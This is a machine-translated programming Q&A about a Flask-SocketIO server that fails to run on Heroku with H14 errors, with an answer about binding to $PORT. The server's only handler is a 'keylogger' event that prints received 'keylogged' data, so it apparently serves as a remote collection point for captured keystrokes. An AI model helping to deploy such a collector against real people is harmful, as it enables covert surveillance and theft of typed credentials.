【问题标题】:Flask-SocketIO server deploys to Heroku but doesn't runFlask-SocketIO 服务器部署到 Heroku 但不运行
【发布时间】:2021-08-24 23:50:16
【问题描述】:

我在 Python 上有一个简单的 Flask-SocketIO 服务器和一个 SocketIO_Client,它将数据发送到服务器,一旦接收到它就会在控制台中打印出来。在本地主机上一切正常,但是当尝试在 Heroku 上托管服务器时,它成功部署,但似乎没有运行。我在 CLI 日志中收到以下错误:

heroku[router]: at=error code=H14 desc="No web processes running" method=GET path="/" host=socket-server1337.herokuapp.com request_id=53e155e2-ba83-4862-84f8-b53014af539b fwd="..." dyno= connect= service= status=503 bytes= protocol=https

当我尝试从客户端连接到服务器时,出现此错误:

heroku[router]: at=error code=H14 desc="No web processes running" method=GET path="//socket.io/?EIO=3&transport=polling&t=1623103978016-0" host=socket-server1337 .herokuapp.com request_id=12d0acb9-b5e2-4cf8-8815-81edec9cf525 fwd="..." dyno= connect= service= status=503 bytes= protocol=https

这是我服务器的代码:

from flask import Flask, render_template
from flask_socketio import SocketIO, emit

app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret'
socketio = SocketIO(app, cors_allowed_origins="*")

@socketio.on('keylogger')
def print_keystrokes(data):
    print(data["keylogged"])


if __name__ == '__main__':
    socketio.run(app)

这是我的 Procfile:

网页:python Socket.py

我相信问题在于我的 Procfile 配置。根据 flask-socketio 文档,我尝试将 Gunicorn 与 Gevent 一起使用:

gunicorn -k geventwebsocket.gunicorn.workers.GeventWebSocketWorker -w 1 Socket:app

以及使用 eventlet:

web: gunicorn --worker-class eventlet -w 1 Socket:app

但是,上述方法均无效。任何帮助将不胜感激。提前致谢。

【问题讨论】:

    标签: python heroku server host flask-socketio


    【解决方案1】:

    问题在于 Heroku 需要您的应用程序侦听它们在 $PORT 环境变量中传递给您的特定网络端口。

    解决此问题的一种方法是更改​​脚本的底线,如下所示:

    socketio.run(app, port=int(os.environ.get('PORT', 5000)))
    

    您还需要在脚本顶部添加import os

    【讨论】:

    • 感谢您花时间回答我的问题。我试过了,但它似乎并没有解决问题。不幸的是,我仍然遇到同样的 H14 错误。
    • 您必须查看日志以了解您还有哪些其他错误。
    • Heroku 日志中唯一的错误是我在原始问题中引用的两个错误。服务器部署并成功构建后,我立即收到以下错误:heroku[router]: at=error code=H14 desc="No web processes running" method=GET path="/" host=socket-server1337.herokuapp.com request_id=b26dfd17-e29d-4bb8-8b32-b5202afffe25 fwd="" dyno= connect= service= status=503 bytes= protocol=https 在尝试从客户端连接时,我收到相同的错误,但每隔几秒(从连接尝试)快速打印不同的路径。
    • 您是否打印了要传递给socketio.run() 的端口号?这必须等于$PORT 环境变量的值。
    • 我尝试使用socketio.run(app, print(port=int(os.environ.get('PORT', 5000))), debug=True),但是除了 H14 错误之外,我在 Heroku 日志上看不到任何输出。如果我尝试在本地运行程序,则输出为None(但我想如果程序不在本地运行,它应该会有所不同)。抱歉回复晚了!
    猜你喜欢
    • 2018-01-19
    • 1970-01-01
    • 1970-01-01
    • 2019-03-24
    • 2016-03-14
    • 2013-04-02
    • 1970-01-01
    • 2013-09-07
    • 2021-05-11
    相关资源
    最近更新 更多